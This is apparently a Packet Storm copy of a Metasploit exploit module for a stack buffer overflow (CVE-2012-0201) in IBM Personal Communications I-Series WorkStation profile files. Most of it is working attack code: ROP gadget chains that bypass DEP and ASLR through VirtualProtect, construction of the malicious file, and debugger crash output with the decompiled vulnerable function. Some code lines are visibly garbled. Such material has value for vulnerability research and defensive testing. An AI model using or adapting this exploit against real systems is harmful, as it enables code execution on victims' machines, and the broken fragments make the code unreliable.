IBM Personal Communications I-Series Buffer Overflow

Type packetstorm
Reporter TecR0c
Modified 2012-02-29T00:00:00


# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
require 'msf/core'  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking # ASLR+DEP bypass  
include Msf::Exploit::FILEFORMAT  
def initialize(info = {})  
'Name' => 'IBM Personal Communications I-Series Access WorkStation 5.9 Profile',  
'Description' => %q{  
The IBM Personal Communications I-Series application WorkStation is susceptible to a  
stack-based buffer overflow vulnerability within file parsing in which data copied to a  
location in memory exceeds the size of the reserved destination area. The buffer is located  
on the runtime program stack.  
When the WorkStation file is opened it will reach the code path at 0x67575180 located in  
pcspref.dll which conducts string manipulation and validation on the data supplied in the  
WorkStation file. The application will first check if 'Profile' header exists and appends  
a dot with the next parameter within the file. It will then measure the character length  
of the header by calling strcspn with a dot as its null-terminated character.  
It will then write the header into memory and ensure the header ends with a NUL character.  
The parameter character array is passed to the strcpy() function. The application has  
declared a 52-element character array for the destination for strcpy function. The  
function does not perform bounds checking therefore, data can be written paste the end of  
the buffer variable resulting in corruption of adjacent variables including other local  
variables, program state information and function arguments. You will notice that the  
saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.  
To ensure we can perform arbitrary code execution we must we provide a valid pointer at  
0x74 which is used as a argument for the called function at 0x675751ED as a id file  
extension parameter. Once the caller regains control we will reach our RETURN. The Ret  
instruction will be used to pop the overwritten saved return address which was currupted.  
This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.  
Versions tested:  
IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a  
Which bundles pcsws.exe version 5090.27271.709  
Tested on:  
Microsoft Windows XP [Version 5.1.2600]  
Microsoft Windows Vista [Version 6.0.6002]  
Microsoft Windows 7 [Version 6.1.7600]  
'License' => MSF_LICENSE,  
'Author' => 'TecR0c <roccogiovannicalvi[at]>',# Discovery & Metasploit module  
'Payload' =>  
'Space' => 800,  
'BadChars' => "\x00\x0a\x0d\x3d"  
# NUL '\0'  
# LF '\n' (new line)  
# CR '\r' (carriage ret)  
# =  
'Platform' => 'win',  
'Targets' =>  
[ 'IBM WorkStation 5.9 (Windows XP SP3)',{} ],  
[ 'IBM WorkStation 5.9 (Windows 7, Windows Vista)',{} ],  
'References' =>  
['CVE', '2012-0201'],  
['URL', '']  
'DisclosureDate' => "Feb 28 2012",  
'DefaultTarget' => 0))  
[ 'FILENAME', [ true, 'The file name.', '' ]),  
], self.class)  
def nops(rop=false, n=1)  
return rop ? [0x67A74499] * n : [0x90909090] * n  
def exploit  
if =~ /Windows 7/ # Plus Windows Vista  
virtualprotect =  
# - To get to the VirtualProtect Function  
# Since no Import Address Table (IAT) MS function addresses used to bypass Data Execution  
# Prevention (DEP) are imported within the applications modules which are required as they  
# have the ability to mark a portion of the stack as executable.  
# Also randomization of Windows dll's base addresses due to ASLR from Vista+ are enabled by  
# default. So we cannot directly add the MS function address into our buffer. Therefore, i  
# decided to do a [dereference] on another IAT address (kernel32.terminateprocess) then add  
# the difference between two MS functions in kernel32 to obtain my virtualprotect address so  
# i can still bypass ASLR. The closest i could get to virtualprotect function was 0x10.  
0X641A1EE2,# Removes 0XFFFFFFF0 from stack to EAX for performing calculations  
0XFFFFFFF0,# Address to get added into EAX  
0X641C20C0,# NEG operation to subtracts its operand 0XFFFFFFF0 from zero to set 0x10 in EAX  
0X67202128,# Exchanges the contents of two operands to store our 0x10 into EDX  
0X641A1EE2,# We then want to store our closest IAT address to VirtualProtect() function  
0X63B08084,# This is kernel32.terminateprocess used to get close to VirtualProtect()  
0X6412F404,# We then do a dereference to get the address of kernel32.terminateprocess  
0X6412E9AE,# We add 0x10 to kernel32.terminateprocess to load kernel32.VirtualProtect  
elsif =~ /XP SP3/  
virtualprotect =  
0X641A1EE2, # We load our VirtualProtect Address into register EAX  
0X7C801AD4, # kernel32.VirtualProtect  
rop_gadgets_p1 =  
0X67A74498,# Places the next memory address into EDI  
nops(true, 1),  
0X6414C496,# Adds the contents of source operand EAX to the destination operation EBX to set dwSize value  
rop_gadgets_p2 =  
0X641EC2D5,# Swaps values to get virtualprotect() into ESI  
0X64164082,# Put 0xFFFFFFC0 into EAX to be subtracted  
0XFFFFFFC0,# Value will be subtracted to calculate NewProtect  
0X641C20C0,# EAX equals NewProtect  
0X67202128,# Swaps values to get NewProtect parameter into EDX  
0X641F2D59,# Put next memory address into ECX  
0X67A85090,# &Writable location  
0X64164082,# Put NOPs into EAX  
0X641BFDC2,# PUSHAD all parameters for VirtualProtect  
buffer = rand_text_alpha(104)  
buffer << [0X673188A5].pack("V")# Set EBP to a pointer to CALL ESP  
buffer << [0X64164082].pack("V")# Set EAX to nul  
buffer << [0XFFFFFC18].pack("V")# Put 0xFFFFFC18 into EAX to be subtracted to calculate dwSize  
buffer << [0X641C20C0].pack("V")# NEG operation to subtracts its operand 0xFFFFFC18 from zero to set 0x3E8 in EAX  
buffer << rop_gadgets_p1  
buffer << virtualprotect  
buffer << rop_gadgets_p2  
buffer << payload.encoded  
para_value = rand_text_alpha(3)  
eol = "\r\n"  
# We only need the header, malicious parameter with value and file extension to trigger the bug  
file = "[Profile]" << eol  
file << "#{buffer}=#{para_value}" << eol  
file << "ID=WS"  
print_status("Creating '#{datastore['FILENAME']}' file for #{}...")  
(540.25c): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=003d1e49 ebx=77c5f7a0 ecx=00000000 edx=6758bdb0 esi=6758bdb1 edi=41414141  
eip=77c483b7 esp=00125360 ebp=0012536c iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -  
77c483b7 8a27 mov ah,byte ptr [edi] ds:0023:41414141=??  
ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll  
ModLoad: 67310000 67324000 C:\Program Files\IBM\Client Access\Emulator\PCSWDLG.DLL  
(5dc.65c): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=00000751 edx=00009240 esi=004018a0 edi=0012faa0  
eip=42424242 esp=001254e8 ebp=41414141 iopl=0 nv up ei pl nz ac po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212  
42424242 ?? ???  
signed int __cdecl sub_67575180(const char *HeaderPlusParameter, char *FileExtension, int a3, int a4, int a5)  
size_t SizeOfHeader;  
char ParameterName;  
char Dest[52];  
SizeOfHeader = strcspn(HeaderPlusParameter, ".");  
strncpy(Dest, HeaderPlusParameter, SizeOfHeader);  
Dest[SizeOfHeader] = 0;  
strcpy(&ParameterName, &HeaderPlusParameter[SizeOfHeader + 1]);  
return sub_67573D80(FileExtension, Dest, &ParameterName, a3, a5, a4);  
0:000> da @esp  
0012555c "AA"  
ROP gadgets from images  
Image name: cwbcore.dll  
Timestamp: Wed Dec 12 04:15:43 2007 (475EC5BF)  
CheckSum: 0011CD4C  
ImageSize: 00118000  
File version:  
CompanyName: IBM Corporation  
ProductName: IBM(R) System i(TM) Access for Windows  
Image name: PCSXFER.DLL  
Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)  
CheckSum: 0007130E  
ImageSize: 0006B000  
File version: 5090.1.7103.892  
CompanyName: IBM Corporation  
ProductName: Personal Communications  
Image name: nstrc.dll  
CheckSum: 0000F9D6  
ImageSize: 00009000  
File version: 5090.0.6171.1308  
CompanyName: IBM Corporation  
ProductName: Personal Communications  
FileDescription: Independent Trace Facility  
Image name: PCSCTSS.DLL  
Timestamp: Wed Dec 12 04:15:47 2007 (475EC5C3)  
CheckSum: 0001D6EB  
ImageSize: 0007D000  
File version: 5090.1.7103.892  
CompanyName: IBM Corporation  
ProductName: Personal Communications  
Image name: PCSWDLG.DLL  
Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)  
CheckSum: 0001FCBC  
ImageSize: 00014000  
File version: 5090.1.7103.892  
CompanyName: IBM Corporation  
ProductName: Personal Communications